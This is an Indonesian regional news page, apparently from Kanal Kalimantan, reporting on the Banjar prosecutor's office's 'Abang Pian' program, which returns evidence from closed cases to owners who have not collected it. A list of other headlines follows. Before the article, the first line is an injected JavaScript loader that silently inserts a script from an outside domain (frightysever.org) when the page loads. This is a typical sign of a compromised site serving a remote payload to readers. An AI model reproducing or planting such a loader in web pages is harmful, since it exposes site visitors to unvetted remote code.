(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kejari Banjar Permudah Pengambilan Barang Bukti Sudah Inkrah


MARTAPURA, Untuk mengembalikan barang bukti yang sudah inkrah, Kejaksaan Negeri (Kejari) Kabupaten Banjar membuat program “Abang Pian”. Program Abang Pian merupakanpelayanan publik untuk lebih memudahkan sekaligus membantu masyarakat mendapatkan kembali barang miliknya yang dijadikan barang bukti perkara.

Kepala Kejari Banjar Muji Martopo mengatakan, program tersebut bertujuan untuk memberikan bantuan dan kemudahan bagi setiap anggota masyarakat pemilik barang bukti yang dititipkan di kejaksaan.

“Program Abang Pian merupakan program pelayanan publik untuk lebih memudahkan masyarakat memiliki kembali barang miliknya yang dijadikan barang bukti suatu perkara,” jelas Kajari Banjar.

‘Kelahiran’ Abang Pian didasari keinginan membantu masyarakat untuk mendapatkan kembali barang yang merupakan hak miliknya. Melalui program yang baru diluncurkan itu, masyarakat tidak perlu susah-susah mendatangi kantor Kejari Banjar di Kota Martapura, A Yani Km 38.

“Intinya kami ingin membantu masyarakat sehingga mereka tidak susah lagi mendatangi kantor Kejari untuk mengambil haknya, apalagi jika tempat tinggalnya jauh sehingga tidak membebani,” ungkapnya.

Tanggapan serupa diutarakan Kasi Pengelolaan Barang Bukti dan Barang Rampasan Kejari Banjar Andi Akbar Sobari, buat program ini untuk mengembalikan barang bukti yang sudah inkrah tetapi belum diambil oleh yang berhak.

“Untuk meringankan beban masyarakat, walaupun tempat tinggal pemilik dengan kantor Kejaksaan jauh, maka kita berinisiatif untuk mengantarkan barang bukti itu ke tempat tujuan yang bersangkutan,” katanya.

Ditambahkan, saat ini hampir 20 barang bukti yang sudah inkrah yang belum diambil pemilik. Walaupun ada barang bukti berupa kendaraan yang tidak layak pakai karena barang tersebut merupakan barang bukti dari kasus kecelakaan, pihaknya akan terus berusaha agar barang tersebut kembali kepada pemiliknya. (rendy)

Reporter : Rendy/b>
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.